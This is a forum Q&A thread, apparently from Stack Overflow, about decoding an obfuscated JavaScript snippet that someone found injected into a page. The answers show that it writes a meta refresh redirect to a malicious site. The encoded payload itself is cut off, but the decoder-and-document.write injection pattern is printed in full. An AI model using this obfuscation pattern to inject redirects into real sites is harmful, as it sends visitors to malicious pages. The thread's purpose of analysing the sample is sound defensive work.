views:

168

answers:

4

I just received a virus that looks something like this

<script type='text/javascript'>
<!--
var s="=nfub!iuuq.frvjw>#sfgsfti#!------REST OF PAYLOAD REMOVED-----?";
m=""; 
for (i=0; i<s.length; i++) 
{   
if(s.charCodeAt(i) == 28)
{     
m+= '&';
}
 else if 
(s.charCodeAt(i) == 23) 
{     m+= '!';} 
else 
{     
 m+=String.fromCharCode(s.charCodeAt(i)-1); 
}}
document.write(m);//-->
</script>

I'm not a JS expert but I would like to decrypt the contents of that string. Can you tell me the best way to alter document.write to see what it's doing?

+1  A: 

Since m is a String, you can just replace document.write() by alert(). Jsfiddle demo.

It seem to be creating a meta refresh header, probably with intent to inject it in the head of the current HTML page in order to redirect to a different (malicious?) page.

BalusC
That is what I thought, but just wanted to be sure. I don't want to get infected...
MakerOfThings7
+4  A: 

Just create a <textarea id="foo"></textarea>, and write

document.getElementsById('foo').value = m;

Alternatively, you could encode < and & to &lt; and &amp; and keep the document.write.


FYI, the payload starts with

<meta http-equiv="refresh" 

so looks like it just redirects the user into the a malicious site.

KennyTM
@Maker: What do you mean?
KennyTM
@KennyTM - sorry I deleted my n00b question-in-comments. It makes sense now
MakerOfThings7
Yes, the alert did say it was redirecting me to a malicious website. Thanks!
MakerOfThings7
Alert? Kenny wasn't at all suggesting to use an alert.
BalusC
@BalusC: Pretty sure he means that when his computer executed the code, his browser's malware detection kicked in and warned him that he was going to a dangerous site.
Chuck
@chuck @BaluscActually I used an alert as the solution, and then tried the DIV code too. I'll try every bit of stack-homework if it means I learn something
MakerOfThings7
+1  A: 

Don't run it your browser, instead try running it in FireBug for example (except document.write(m) line - just use FireBug to see contents of m variable).

Most of these embed an iframe into your site

Mchl
+1  A: 

Use Malzilla to decode the URL. http://malzilla.sourceforge.net/

Nathan
+1 Seems like a neat, usefull and complicated at the same time. I got it to work on a site I trust. Not sure what all the buttons do though or when I need em.
MakerOfThings7